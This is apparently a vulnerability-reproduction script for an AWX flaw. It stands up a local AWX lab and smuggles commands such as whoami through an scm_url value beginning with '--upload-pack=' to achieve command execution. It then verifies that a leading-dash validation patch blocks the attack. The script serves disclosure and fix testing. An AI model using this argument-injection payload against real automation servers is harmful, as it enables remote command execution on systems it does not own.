#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

LOG="$LOGS/reproduction_steps.log"
: >"$LOG"
exec > >(tee -a "$LOG") 2>&1

REPOSITORY_URL="https://github.com/ansible/awx.git"
TARGET_COMMIT="a5b2179a3e693dd8e9f4c186636d93f9a436ada4"
AWX_IMAGE="ghcr.io/ansible/awx_devel@sha256:8c60a538d41d40e1b72e29adf6fe946f9770dad02e102bf13dab5589fb8be1e4"
AWX_IMAGE_LOCAL="ghcr.io/ansible/awx_devel:devel"
EE_BASE_IMAGE="python:3.12-alpine3.22@sha256:a190708a2dec1bd18b1decb539f8e8f5407abaa9bf39cacda583f7f8c11db322"
EE_IMAGE="localhost/pruva-awx-ee:cve-2026-84502"
COMPOSE_VERSION="v5.5.1"
COMPOSE_SHA256="db1889184726840f75c4f9c001048430d4f25b3be3cb084d3ddd762bc0aed576"
ANSIBLE_CORE_VERSION="2.19.3"
ADMIN_USER="admin"
ADMIN_PASSWORD="password"
API_BASE="https://127.0.0.1:8043/api/v2"
RUN_ID="$(date -u +%Y%m%dT%H%M%SZ)-$$"
PROOF="$REPRO_DIR/proof-$RUN_ID"
mkdir -p "$PROOF"

# The prepared cache is authoritative. Fall back to bundle/artifacts only when
# the cache context is absent or unusable.
CACHE_CONTEXT="$ROOT/project_cache_context.json"
CACHE_DIR=""
if [ -r "$CACHE_CONTEXT" ]; then
  CACHE_DIR="$(python3 - "$CACHE_CONTEXT" <<'PY'
import json, os, sys
try:
    c=json.load(open(sys.argv[1],encoding='utf-8'))
    p=c.get('project_cache_dir')
    if c.get('prepared') is True and isinstance(p,str) and os.path.isdir(p): print(p)
except Exception: pass
PY
)"
fi
if [ -z "$CACHE_DIR" ]; then CACHE_DIR="$ROOT/artifacts/awx-cache"; fi
REPO="$CACHE_DIR/repo"
TOOLS="$CACHE_DIR/bin"
PYDEPS="$CACHE_DIR/pip"
EE_CONTEXT="$CACHE_DIR/minimal-ee"
mkdir -p "$CACHE_DIR" "$TOOLS" "$PYDEPS" "$EE_CONTEXT"
COMPOSE_BIN="$TOOLS/docker-compose"
COMPOSE_FILE="$REPO/tools/docker-compose/_sources/docker-compose.yml"
PROJECTS_PY="$REPO/awx/main/models/projects.py"
COMPOSE=("$COMPOSE_BIN" -f "$COMPOSE_FILE")

write_manifest() {
  local started="$1" healthy="$2" reached="$3" notes="$4"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$started" "$healthy" "$reached" "$notes" <<'PY'
import json,sys
out,started,healthy,reached,notes=sys.argv[1:]
data={
 "entrypoint_kind":"endpoint",
 "entrypoint_detail":"Authenticated AWX API POST /api/v2/projects/ followed by POST /api/v2/projects/<id>/update/",
 "service_started":started=='true',"healthcheck_passed":healthy=='true',"target_path_reached":reached=='true',
 "runtime_stack":[],"proof_artifacts":[],"artifact_sha256":{},"notes":notes
}
with open(out,'w',encoding='utf-8') as f: json.dump(data,f,indent=2,sort_keys=True); f.write('\n')
PY
}
write_manifest false false false "attempt started; runtime evidence not yet complete"

SOURCE_BACKUP=""
cleanup() {
  local rc=$?
  if [ -n "$SOURCE_BACKUP" ] && [ -f "$SOURCE_BACKUP" ] && [ -f "$PROJECTS_PY" ]; then
    cp "$SOURCE_BACKUP" "$PROJECTS_PY" || true
    if docker inspect tools_awx_1 >/dev/null 2>&1; then
      docker exec tools_awx_1 supervisorctl restart tower-processes:awx-uwsgi tower-processes:awx-daphne >/dev/null 2>&1 || true
    fi
  fi
  if [ "$rc" -ne 0 ]; then echo "REPRODUCTION FAILED (exit $rc); see $LOG"; fi
  exit "$rc"
}
trap cleanup EXIT

command -v git >/dev/null
command -v curl >/dev/null
command -v docker >/dev/null
command -v python3 >/dev/null
docker info >/dev/null

# Install exact script-owned tooling when missing. The clean sandbox cannot be
# assumed to retain anything installed into an earlier interactive shell.
if [ ! -x "$COMPOSE_BIN" ] || [ "$(sha256sum "$COMPOSE_BIN" | awk '{print $1}')" != "$COMPOSE_SHA256" ]; then
  curl -fL --retry 3 "https://github.com/docker/compose/releases/download/$COMPOSE_VERSION/docker-compose-linux-x86_64" -o "$COMPOSE_BIN"
  [ "$(sha256sum "$COMPOSE_BIN" | awk '{print $1}')" = "$COMPOSE_SHA256" ]
  chmod +x "$COMPOSE_BIN"
fi
if [ ! -x "$TOOLS/ansible-playbook" ]; then
  rm -rf "$PYDEPS"
  mkdir -p "$PYDEPS"
  python3 -m pip install --target "$PYDEPS" "ansible-core==$ANSIBLE_CORE_VERSION"
  for x in "$PYDEPS"/bin/*; do ln -sf "$x" "$TOOLS/$(basename "$x")"; done
fi
export PATH="$TOOLS:$PATH"
export PYTHONPATH="$PYDEPS${PYTHONPATH:+:$PYTHONPATH}"

if [ ! -d "$REPO/.git" ]; then
  git clone --filter=blob:none "$REPOSITORY_URL" "$REPO"
fi
git -C "$REPO" fetch --filter=blob:none origin "$TARGET_COMMIT" || true
git -C "$REPO" checkout --detach "$TARGET_COMMIT"
[ "$(git -C "$REPO" rev-parse HEAD)" = "$TARGET_COMMIT" ]
# Generated runtime files are ignored; tracked source must exactly match target.
git -C "$REPO" diff --quiet "$TARGET_COMMIT" --
TARGET_DIGEST="$(printf 'git:%s@%s' "$REPOSITORY_URL" "$TARGET_COMMIT" | sha256sum | awk '{print $1}')"
printf '%s\n' "$TARGET_COMMIT" >"$PROOF/target-commit.txt"
printf '%s\n' "$TARGET_DIGEST" >"$PROOF/target-digest.txt"

# Verify the tested vulnerable hunk before deploying it.
python3 - "$PROJECTS_PY" <<'PY'
import sys
s=open(sys.argv[1],encoding='utf-8').read()
assert 'def clean_scm_url(self):' in s
assert 'SCM URL must not begin with a dash.' not in s
PY

echo "[+] AWX target: $TARGET_COMMIT"
if ! docker image inspect "$AWX_IMAGE_LOCAL" >/dev/null 2>&1; then docker pull "$AWX_IMAGE"; fi
AWX_RUNTIME_DIGEST="$(docker image inspect "$AWX_IMAGE_LOCAL" --format '{{index .RepoDigests 0}}' | sed 's/.*@//')"
[ "$AWX_RUNTIME_DIGEST" = "sha256:8c60a538d41d40e1b72e29adf6fe946f9770dad02e102bf13dab5589fb8be1e4" ]

# Generate the actual upstream AWX development compose deployment.
make -C "$REPO" docker-compose-sources \
  ADMIN_PASSWORD="$ADMIN_PASSWORD" COMPOSE_TAG=devel \
  DEV_DOCKER_TAG_BASE=ghcr.io/ansible GIT_REPO_NAME=awx \
  DOCKER_COMPOSE="$COMPOSE_BIN" >"$LOGS/awx-compose-generate.log" 2>&1

# Adapt only host-runtime mechanics for nested rootless Docker: expose the API
# port alone, drop unsupported cgroup/kube mounts and privileged mode, then grant
# the bounded capabilities needed for nested Podman task execution.
python3 - "$COMPOSE_FILE" <<'PY'
from pathlib import Path
import re,sys
p=Path(sys.argv[1]); s=p.read_text()
s=s.replace('image: "ghcr.io/ansible/awx_devel:devel"','image: "ghcr.io/ansible/awx_devel:devel"',1)
s=s.replace('    user: "1000"\n','    user: "0"\n    security_opt:\n      - seccomp=unconfined\n    cap_add:\n      - SYS_ADMIN\n      - SETUID\n      - SETGID\n',1)
s=s.replace('      - "/sys/fs/cgroup:/sys/fs/cgroup"\n','').replace('      - "~/.kube/config:/var/lib/awx/.kube/config"\n','')
s=s.replace('    privileged: true\n','')
start=s.index('    ports:\n',s.index('  awx_1:'))
end=s.index('  redis_1:\n',start)
block=s[start:end]
block=re.sub(r'    ports:\n(?:      - .*\n)+','    ports:\n      - "127.0.0.1:8043:8043"\n',block,1)
s=s[:start]+block+s[end:]
# PostgreSQL need not be exposed to the host.
s=re.sub(r'    ports:\n       - "\$\{AWX_PG_PORT:-5441\}:5432"\n','',s,1)
p.write_text(s)
PY

"${COMPOSE[@]}" up -d --remove-orphans >"$LOGS/awx-compose-up.log" 2>&1
printf '%s\n' "${COMPOSE[*]} up -d --remove-orphans" >"$PROOF/service-start-command.txt"
docker inspect tools_awx_1 >"$PROOF/controller-inspect.json"

wait_api() {
  local authenticated="$1" i code path
  path=ping/; [ "$authenticated" = true ] && path=me/
  for i in $(seq 1 180); do
    if [ "$authenticated" = true ]; then
      code="$(curl -k -sS -u "$ADMIN_USER:$ADMIN_PASSWORD" -o "$PROOF/readiness.tmp" -w '%{http_code}' --max-time 5 "$API_BASE/$path" || true)"
    else
      code="$(curl -k -sS -o "$PROOF/readiness.tmp" -w '%{http_code}' --max-time 5 "$API_BASE/$path" || true)"
    fi
    if [ "$code" = 200 ]; then mv "$PROOF/readiness.tmp" "$PROOF/readiness-response.json"; return 0; fi
    sleep 2
  done
  return 1
}
if ! wait_api false; then
  "${COMPOSE[@]}" logs --tail=400 >"$LOGS/awx-compose-failure.log" 2>&1 || true
  write_manifest true false false "AWX controller did not become healthy; see logs/awx-compose-failure.log"
  exit 2
fi
wait_api true
cp "$PROOF/readiness-response.json" "$PROOF/healthcheck-response.json"
printf 'GET %s/ping/\nHTTP 200\n' "$API_BASE" >"$PROOF/healthcheck-request.txt"
echo "[+] AWX API healthy"

# Build the bounded control-plane EE from a digest-pinned base. This includes the
# real Git and ansible-runner versions exercised by ProjectUpdate.
cat >"$EE_CONTEXT/Dockerfile" <<EOF
FROM $EE_BASE_IMAGE
RUN apk add --no-cache git openssh-client podman tini && pip install --no-cache-dir ansible-core==2.19.3 ansible-runner==2.4.2
RUN addgroup -g 1000 awx && adduser -D -u 1000 -G awx awx && mkdir -p /runner /tmp && chmod 1777 /tmp && chown -R awx:awx /runner
USER awx
WORKDIR /runner
ENTRYPOINT ["/sbin/tini","--"]
CMD ["ansible-runner","--version"]
EOF
docker build -t "$EE_IMAGE" "$EE_CONTEXT" >"$LOGS/minimal-ee-build.log" 2>&1
EE_DIGEST="$(docker image inspect "$EE_IMAGE" --format '{{.Id}}' | sed 's/^sha256://')"

# Nested Podman uses vfs (no /dev/fuse) and host networking (no nested netns).
docker exec tools_awx_1 sh -c 'mkdir -p /etc/containers; cat > /etc/containers/storage.conf <<"EOF"
[storage]
driver = "vfs"
graphroot = "/var/lib/containers/storage-vfs"
runroot = "/run/containers/storage-vfs"
EOF'
docker save "$EE_IMAGE" | docker exec -i tools_awx_1 podman load >"$LOGS/minimal-ee-load.log" 2>&1

docker exec tools_awx_1 awx-manage shell -c "from awx.conf.models import Setting; from awx.main.models import ExecutionEnvironment; Setting.objects.update_or_create(key='DEFAULT_CONTAINER_RUN_OPTIONS', defaults={'value':['--cgroups=disabled','--network=host']}); ee=ExecutionEnvironment.objects.get(name='Control Plane Execution Environment'); ee.image='$EE_IMAGE'; ee.pull='never'; ee.save(update_fields=['image','pull']); print(ee.pk,ee.image,ee.pull)" >"$PROOF/runtime-configuration.txt" 2>&1
docker exec tools_awx_1 supervisorctl restart tower-processes:awx-dispatcher tower-processes:awx-uwsgi tower-processes:awx-daphne >/dev/null
wait_api true

api_get() { curl -k -sS -u "$ADMIN_USER:$ADMIN_PASSWORD" --max-time 30 "$@"; }
api_get "$API_BASE/organizations/?name=Default" >"$PROOF/organizations-response.json"
ORG_ID="$(python3 - "$PROOF/organizations-response.json" <<'PY'
import json,sys
print(json.load(open(sys.argv[1],encoding='utf-8'))['results'][0]['id'])
PY
)"

run_vulnerable_attempt() {
  local n="$1" marker payload command_name create_code project_id update_code update_id status i project_path marker_host
  marker="awxv${n}$(date +%s)$RANDOM"; marker="${marker,,}"
  # Select different no-space commands for independent short marker bytes.
  # Both are executed by Git's upload-pack shell; `id -u` cannot survive AWX's
  # space normalization, so use `whoami` and `hostname` as equivalent samples.
  if [ "$n" = 1 ]; then command_name="whoami"; else command_name="hostname"; fi
  payload="--upload-pack=${command_name}>${marker};:x"
  python3 - "$PROOF/vulnerable-${n}-create-request.json" "$ORG_ID" "$payload" "$RUN_ID" "$n" <<'PY'
import json,sys
out,org,payload,run_id,n=sys.argv[1:]
with open(out,'w',encoding='utf-8') as f: json.dump({'name':f'cve-2026-84502-v{n}-{run_id}','organization':int(org),'scm_type':'git','scm_url':payload},f,separators=(',',':')); f.write('\n')
PY
  create_code="$(curl -k -sS -u "$ADMIN_USER:$ADMIN_PASSWORD" --max-time 30 -H 'Content-Type: application/json' -X POST --data-binary "@$PROOF/vulnerable-${n}-create-request.json" -o "$PROOF/vulnerable-${n}-create-response.json" -w '%{http_code}' "$API_BASE/projects/")"
  printf '%s\n' "$create_code" >"$PROOF/vulnerable-${n}-create-status.txt"; [ "$create_code" = 201 ]
  project_id="$(python3 -c "import json;print(json.load(open('$PROOF/vulnerable-${n}-create-response.json'))['id'])")"
  # Select the configured control-plane EE via the real model after the API has
  # created the Project. This mirrors controller project-update placement.
  docker exec tools_awx_1 awx-manage shell -c "from awx.main.models import Project,ExecutionEnvironment; p=Project.objects.get(pk=$project_id); p.default_environment=ExecutionEnvironment.objects.get(name='Control Plane Execution Environment'); p.save(update_fields=['default_environment'])" >"$PROOF/vulnerable-${n}-environment-selection.txt" 2>&1
  printf '{}\n' >"$PROOF/vulnerable-${n}-update-request.json"
  update_code="$(curl -k -sS -u "$ADMIN_USER:$ADMIN_PASSWORD" --max-time 30 -H 'Content-Type: application/json' -X POST --data-binary "@$PROOF/vulnerable-${n}-update-request.json" -o "$PROOF/vulnerable-${n}-update-response.json" -w '%{http_code}' "$API_BASE/projects/$project_id/update/")"
  printf '%s\n' "$update_code" >"$PROOF/vulnerable-${n}-update-status.txt"; [ "$update_code" = 202 ]
  update_id="$(python3 -c "import json;x=json.load(open('$PROOF/vulnerable-${n}-update-response.json'));print(x.get('project_update') or x['id'])")"
  for i in $(seq 1 120); do
    api_get "$API_BASE/project_updates/$update_id/" >"$PROOF/vulnerable-${n}-update-detail.tmp"
    status="$(python3 -c "import json;print(json.load(open('$PROOF/vulnerable-${n}-update-detail.tmp')).get('status',''))")"
    case "$status" in successful|failed|error|canceled) mv "$PROOF/vulnerable-${n}-update-detail.tmp" "$PROOF/vulnerable-${n}-update-detail.json"; break;; esac
    sleep 2
  done
  [ -f "$PROOF/vulnerable-${n}-update-detail.json" ]
  api_get "$API_BASE/project_updates/$update_id/stdout/?format=txt_download" >"$PROOF/vulnerable-${n}-stdout.txt"
  project_path="$(docker exec tools_awx_1 awx-manage shell -c "from awx.main.models import Project; print(Project.objects.get(pk=$project_id).get_project_path())" | tail -1)"
  docker exec tools_awx_1 sh -c "test -f '$project_path/$marker'"
  docker exec tools_awx_1 sh -c "cat '$project_path/$marker'" >"$PROOF/vulnerable-${n}-marker.txt"
  [ -s "$PROOF/vulnerable-${n}-marker.txt" ]
  [ "$(wc -c < "$PROOF/vulnerable-${n}-marker.txt")" -le 200 ]
  grep -Fq -- "$payload" "$PROOF/vulnerable-${n}-stdout.txt"
  grep -q 'git ls-remote' "$PROOF/vulnerable-${n}-stdout.txt"
  printf '%s\n' "$marker" >"$PROOF/vulnerable-${n}-marker-name.txt"
  echo "[+] Vulnerable attempt $n: create=201 update=202 marker=$marker"
}

# Two clean product/API attempts, each with a unique marker and ProjectUpdate.
run_vulnerable_attempt 1
run_vulnerable_attempt 2

# Fixed negative control: apply the precise model-validation remediation, reload
# API workers, and run two fresh requests of the same attacker input class.
SOURCE_BACKUP="$PROOF/projects.py.vulnerable"
cp "$PROJECTS_PY" "$SOURCE_BACKUP"
python3 - "$PROJECTS_PY" <<'PY'
from pathlib import Path
import sys
p=Path(sys.argv[1]); s=p.read_text(); needle='    def clean_scm_url(self):\n'
patch="        if self.scm_url and str(self.scm_url).startswith('-'):\n            raise ValidationError(_('SCM URL must not begin with a dash.'))\n"
assert needle in s and 'SCM URL must not begin with a dash.' not in s
p.write_text(s.replace(needle,needle+patch,1))
PY
docker exec tools_awx_1 supervisorctl restart tower-processes:awx-uwsgi tower-processes:awx-daphne >/dev/null
wait_api true
for n in 1 2; do
  marker="awxf${n}$(date +%s)$RANDOM"; marker="${marker,,}"
  payload="--upload-pack=id>${marker};:x"
  python3 - "$PROOF/fixed-${n}-create-request.json" "$ORG_ID" "$payload" "$RUN_ID" "$n" <<'PY'
import json,sys
out,org,payload,run_id,n=sys.argv[1:]
with open(out,'w',encoding='utf-8') as f: json.dump({'name':f'cve-2026-84502-fixed-{n}-{run_id}','organization':int(org),'scm_type':'git','scm_url':payload},f,separators=(',',':')); f.write('\n')
PY
  code="$(curl -k -sS -u "$ADMIN_USER:$ADMIN_PASSWORD" --max-time 30 -H 'Content-Type: application/json' -X POST --data-binary "@$PROOF/fixed-${n}-create-request.json" -o "$PROOF/fixed-${n}-create-response.json" -w '%{http_code}' "$API_BASE/projects/")"
  printf '%s\n' "$code" >"$PROOF/fixed-${n}-create-status.txt"
  [ "$code" = 400 ]; grep -q 'SCM URL must not begin with a dash' "$PROOF/fixed-${n}-create-response.json"
  if docker exec tools_awx_1 sh -c "find /var/lib/awx/projects -name '$marker' -type f | grep -q ."; then echo "fixed marker unexpectedly exists" >&2; exit 1; fi
  printf 'absent\n' >"$PROOF/fixed-${n}-marker-negative-control.txt"
  printf '%s\n' "$marker" >"$PROOF/fixed-${n}-marker-name.txt"
  echo "[+] Fixed attempt $n: create=400 marker absent"
done
# Restore vulnerable checkout before final hashing/exit.
cp "$SOURCE_BACKUP" "$PROJECTS_PY"
SOURCE_BACKUP=""
docker exec tools_awx_1 supervisorctl restart tower-processes:awx-uwsgi tower-processes:awx-daphne >/dev/null || true
git -C "$REPO" diff --quiet "$TARGET_COMMIT" --

# Final service/controller diagnostic is immutable before manifest generation.
docker logs --since 15m --tail 1000 tools_awx_1 >"$LOGS/controller-runtime-$RUN_ID.log" 2>&1 || true
printf '%s\n' "$AWX_RUNTIME_DIGEST" >"$PROOF/awx-image-digest.txt"
printf '%s\n' "$EE_DIGEST" >"$PROOF/ee-image-digest.txt"

PROOF_REL="${PROOF#$ROOT/}"
python3 - "$REPRO_DIR/runtime_manifest.json" "$ROOT" "$PROOF_REL" "$REPOSITORY_URL" "$TARGET_COMMIT" "$TARGET_DIGEST" "$AWX_RUNTIME_DIGEST" <<'PY'
import hashlib,json,platform,os,sys
out,root,proof,repo,commit,target_digest,runtime_digest=sys.argv[1:]
names=['target-commit.txt','target-digest.txt','healthcheck-request.txt','healthcheck-response.json','service-start-command.txt','controller-inspect.json','runtime-configuration.txt','awx-image-digest.txt','ee-image-digest.txt']
for role in ('vulnerable','fixed'):
 for n in (1,2):
  names += [f'{role}-{n}-create-request.json',f'{role}-{n}-create-response.json',f'{role}-{n}-create-status.txt',f'{role}-{n}-marker-name.txt']
  if role=='vulnerable': names += [f'{role}-{n}-update-request.json',f'{role}-{n}-update-response.json',f'{role}-{n}-update-status.txt',f'{role}-{n}-update-detail.json',f'{role}-{n}-stdout.txt',f'{role}-{n}-marker.txt']
  else: names += [f'{role}-{n}-marker-negative-control.txt']
files=[f'{proof}/{n}' for n in names]
dig={}
for rel in files:
 with open(os.path.join(root,rel),'rb') as f: dig[rel]=hashlib.sha256(f.read()).hexdigest()
data={
 'entrypoint_kind':'endpoint','entrypoint_detail':'Authenticated AWX API POST /api/v2/projects/ followed by POST /api/v2/projects/<id>/update/',
 'service_started':True,'healthcheck_passed':True,'target_path_reached':True,
 'runtime_stack':['awx-automation-controller','postgresql','redis','receptor','podman','ansible-runner','git'],
 'target_identity':{'repository_url':repo,'commit_sha':commit,'target_digest':target_digest,'runtime_digest':runtime_digest,'platform':'linux','architecture':platform.machine()},
 'proof_artifacts':files,'artifact_sha256':dig,
 'notes':'Two vulnerable real API/ProjectUpdate attempts executed attacker-selected commands and produced unique target-local command-output markers; two fixed API controls returned HTTP 400 and produced no marker.'}
with open(out,'w',encoding='utf-8') as f: json.dump(data,f,indent=2,sort_keys=True); f.write('\n')
PY

python3 - "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json,sys
x=json.load(open(sys.argv[1],encoding='utf-8'))
assert x['entrypoint_kind']=='endpoint' and x['service_started'] and x['healthcheck_passed'] and x['target_path_reached']
assert len(x['proof_artifacts'])==len(x['artifact_sha256'])
PY

echo "[+] CONFIRMED CVE-2026-84502 through the real AWX API and ProjectUpdate task path"
echo "[+] Two vulnerable command executions produced unique command-output markers; two fixed controls rejected HTTP 400"
echo "[+] Runtime manifest: $REPRO_DIR/runtime_manifest.json"
exit 0
